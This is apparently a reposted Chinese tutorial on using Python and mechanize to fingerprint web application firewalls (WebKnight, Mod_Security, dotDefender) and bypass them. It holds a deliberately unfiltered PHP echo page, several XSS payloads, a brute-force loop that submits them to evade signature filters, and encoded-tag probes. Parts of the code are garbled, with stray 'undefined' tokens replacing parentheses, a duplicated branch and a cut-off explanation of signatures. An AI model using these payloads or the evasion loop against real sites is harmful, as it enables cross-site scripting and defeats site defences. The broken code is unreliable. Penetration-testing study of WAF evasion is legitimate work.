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黑客用Python：检测并绕过Web应用程序防火墙 www.xihefangpei.com
Web应用防火墙通常会被部署在Web客户端与Web服务器之间，以过滤来自服务器的恶意流量。而作为一名渗透测试人员，想要更好的突破目标系统，就必须要了解目标系统的WAF规则。如今，许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程：
什么是基于签名的防火墙？
在基于签名的防火墙中你可以自定义签名，如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们，例如：
Payload:-
上面定义的是一种常见的XSS payload，我们知道所有这类攻击都可能包含- >“
1.
2. alert(*)
第一个签名将过滤任何包含
如何判断目标环境是否部署防火墙？
当我们对一个系统进行渗透时，如果你忽略了防火墙的存在，那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前，我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢？我们还拿以上定义的payload来举例。在通常情况下，如果我们在一个部署有WAF的系统上执行以上payload，那么在http的响应中我们将能捕获到WAF留下的轨迹：
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by Mod_Security可以看到，我们的payload被名为Mod_Security的防火墙给过滤了。在本文中我将教大家编写一个简单的python脚本，以帮助我们完成检测任务并绕过防火墙。
步骤1：定义HTML文档和PHP脚本！
首先，我们必须定义我们的HTML文档来注入payload和相应的PHP脚本以处理数据。
HTML文档定义如下：
<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>PHP脚本：
<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>步骤2：准备恶意请求！
为了检测防火墙的存在与否，第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果你已经了解了Mechanize模块，可以跳过此文章的阅读。现在，我们就可以对任意页面提供的Web表单发起请求了。实现代码如下：
import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)让我来简单解释下这几行代码的用意：
在第一行代码，我们首先导入了mechanize模块，并给它了一个简称’mec’以便我们后续使用。
要想使用mechanize下载网页，我们需要实例化浏览器。因此在第二行代码中，我们实例化了浏览器。
在步骤1中我们定义了我们的HTML文档，其中表单名称为“waf”。因此在第三行代码中，我们需要告诉mechanize要选择以此命名的表单进行提交，所以formName变量为‘waf’。
第四行代码就是打开目标URL地址，并提交我们的数据。
最后我们使用’select_form()’函数传递’formName’变量。
在以上的HTML文档中，我们只定义了一个表单输入字段，我们将利用该字段注入我们的恶意payload，并通过检查http响应信息来判断目标是否部署了Web应用防火墙。
步骤3：准备payload
在HTML文档中我们定义了一个名为’data’的输入字段：
input type="text" name="data"><br>因此，我们可以使用以下代码来提交我们的payload：
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"maliciousRequest.form['data'] = crossSiteScriptingPayLoad
第一行代码我们首先将payload赋给了变量
‘crossSiteScriptingPayLoad’。
第二行代码我们将payload提交给了表单字段“data”。
步骤4：提交表单并记录响应
下面我们提交此表单并记录响应信息：
maliciousRequest.submit()
response = maliciousRequest.response().read()
print response
提交表单
将响应赋给变量。
将将响应信息打印出来。
可以看到payload被打印在了HTML文档中，这也说明应用程序代码中没有任何的过滤机制，并且由于没有防火墙的保护，我们的恶意请求也未被阻止。
步骤5：防火墙部署检测
变量’response’中包含了从服务器获取的响应信息，也是我们判断目标环境是否部署防火墙的重要依据。下面，我们将针对以下几款防火墙进行检测。
WebKnight
Mod_Security
Dot Defender
看看我们如何用python代码实现检测：
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"这段代码首先我们对WebKnight的防火墙做了判断。如果目标环境安装了WebKnight，那么在我们的响应中将包含字符串“WebKnight”，并且find函数的返回值也将会大于0。同样，对于另外两个防火墙亦是如此。
当然我们还可以继续扩展我们的python脚本，用以检测更多的防火墙类型，但前提是必须了解这些防火墙的基本响应特征。
使用暴力测试攻击绕过防火墙过滤器
在文章开头我就说过，如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是，这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂，我们可以用它来构建数千种的payload并逐一进行尝试，以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义，那么该方法可能会失效。下面让我们使用python脚本，来帮助我们完成暴力测试攻击：
listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt&#40 1&#41<i>', '<a href="&#1;javascript:alertundefined1)">CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = 'waf'
maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined'WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
在第一行代码中，我们定义了3个payload的列表，你还可以根据需求添加更多的payload扩展此列表。
接着在for循环中，我们进行了之前所做相同判断过程，但这一次我们需要对应列表中的每个payload。
收到响应后，我们可以再次确认防火墙是否真的存在。
将HTML标签转换为Unicode或Hex实体
如果防火墙正在过滤html标签，如<，>。我们则可以尝试将这些实体进行Unicode或Hex转码再进行发送，如果被转化为原始形式，那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断：
listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"© 著作权归作者所有
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